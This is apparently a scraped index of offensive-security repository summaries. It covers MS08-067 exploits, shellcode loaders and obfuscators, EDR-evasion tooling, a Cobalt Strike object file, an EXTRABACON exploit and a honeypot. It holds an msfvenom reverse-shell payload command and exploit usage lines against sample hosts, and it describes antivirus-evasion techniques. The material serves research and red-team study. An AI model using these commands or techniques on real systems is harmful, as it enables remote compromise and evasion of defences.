MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

D1rkLdr

D1rkLdr Shellcode Loader with Indirect Dynamic syscall Implementation , shellcode in MAC format, API resolving from PEB, Syscall calll and syscall instruction address resolving at run time...

Exploit_MS08-067

Complete Usage Guide: Exploit MS08-067 Enhanced 📌 Basic Usage python3 ExploitMS08-067.py OPTIONS 🎯 Practical Examples 1. Windows XP SP0/SP1 Default Port 445 python3 ExploitMS08-067.py 192.168.1.100 1 2. Windows 2003 SP1 English Port 139 python3 ExploitMS08-067.py 192.168.1.150 4 -p 139 3. With...

Java-Shellcode-Loader

Java ShellCode Loader A ShellCode loader implemented in Java, compatible with 32-bit and 64-bit platforms. The core principle is to use Jna to call Windows APIs to achieve shellcode injection. Runtime environment: Jre = 1.5 Note: This project is already integrated into the ShellCodeLoader module ...

Pokemon-Shellcode-Loader

Pokémon Shellcode Loader Tired of looking at hex all day and popping '\x41's? Rather look at Lugia/Charmander? I have the solution for you. A tweet came in from @Checkymander about creating a shellcode loader from Pokémon names. Great fun project to mess with the blue team, but there wasn't a POC...

SLAE

SecurityTube Linux Assembly Expert This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE-1134 Articles Assignment 1: Linux x86...

sickle-pdk

Sickle - Payload Development Kit Sickle is a tool I originally developed to help me be more effective, in both developing and understanding shellcode. However, throughout the course of its development and usage It has evolved into a payload development kit. Although current modules are mostly aim...

exploits

exploits This repository contains all of the shellcode or exploits I submitted to https://www.exploit-db.com/. All exploits listed here are not 0day, all software talked about have a fix available. Please note that the exploits are either for your own curiosity on your own machines, or to check...

OffensiveDLR

OffensiveDLR Toolbox containing research notes & PoC code for weaponizing .NET's DLR Contents Script| Description ---|--- Kukulkan| A slimmed down version of SILENTTRINITY, C DLL & EXE that embed an IPY engine. Comms are encrypted and can be used with CobaltStrike Invoke-JumpScare.ps1| Executes...

CVE-2016-6366

CVE-2016-6366 Public repository for improvements to the EXTRABACON exploit, a remote code execution for Cisco ASA written by the Equation Group NSA and leaked by the Shadow Brokers. There is improved shellcode, a LINA offset finder script, a Metasploit module, and extrabacon-2.0. We are adding...

doublepulsar-usermode-injector

Author: Matt Hillman [email protected] - @sp1nl0ck Company: Countercept @countercept Website: https://countercept.com A utility to use the usermode shellcode from the DOUBLEPULSAR payload to reflectively load an arbitrary DLL into another process, for use in testing detection techniques or...

SleepyCrypt

SleepyCrypt A shellcode function to encrypt a running process image in memory when sleeping. This is the companion code for my blog post here. Build Just run build.sh to compile the C code, extract the .text section as shellcode, and compile it into a test binary called sleep.exe. This will requi...

Shellcrypt

Shellcrypt A single-file cross-platform quality of life tool to obfuscate a given shellcode file and output in a useful format for pasting directly into your source code. Contributors These are going here because they deserve it An00bRektn github twitter ♥ 0xtejas github Encryption Methods...

SILVERPICK

SILVERPICK VERSION v1.1 BRIEF Project SILVERPICK is a Windows User-Mode Shellcode Development Framework WUMSDF whose sole purpose is to empower capability developers to build Position Independent Code PIC blobs for Windows x64 using C/C++ in an easy manner so as to reduce the development costs of...

SpawnWith

SpawnWith An experimental Beacon Object File BOF that provides an alternative to the spawnas and inject commands. This exposes a new command, spawnwith pid listener, that performs the following: 1. Obtain a handle to the target process. 2. Obtain a handle to the process' primary token. 3. Duplica...

Anti_suspend

Antisuspend Just an example of using shellcode to secure a process. Prevents: 1Freezing process threads you can use anti-attach for debugger 2Hardware breakpoints 3Hide thread from the debugger Problem: Use code in non legit modules This will raise the flags of AV...

Clematis

Clematis 中文 | English 🛠️ A powerful tool for converting PE files EXE/DLL into position-independent shellcode. ✨ Key Features Support for converting PE files EXE/DLL to shellcode Compatible with both x86 and x64 architectures Command-line argument support Built-in LZNT1 compression algorithm for...

Split

Description Divide and Conquer is an algorithm that is commonly applied in programming to solve a complex problem by dividing it into many simpler sub-problems. We can apply this approach to offensive security with a different goal: confuse EDRs so they lose track of our activities, preventing th...

copy-fail-zig

Copy Fail CVE-2026-31431 Zig implementation Zig implementation of the 732 Byte proof of concept for the Copy Fail Linux LPE CVE-2026-31431, which was disclosed by Theori / Xint on April 29th 2026 The writeup can be found at copy.fail. This implementation has no runtime dependencies and can be run...

dionaea

dionaea - catches bugs Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shellcodes, supporting ipv6 and tls. Protocols blackhole epmap ftp http memcache mirror mqtt mssql mysql pptp sip smb tftp upnp Logging fail2ban hpfeeds logjson...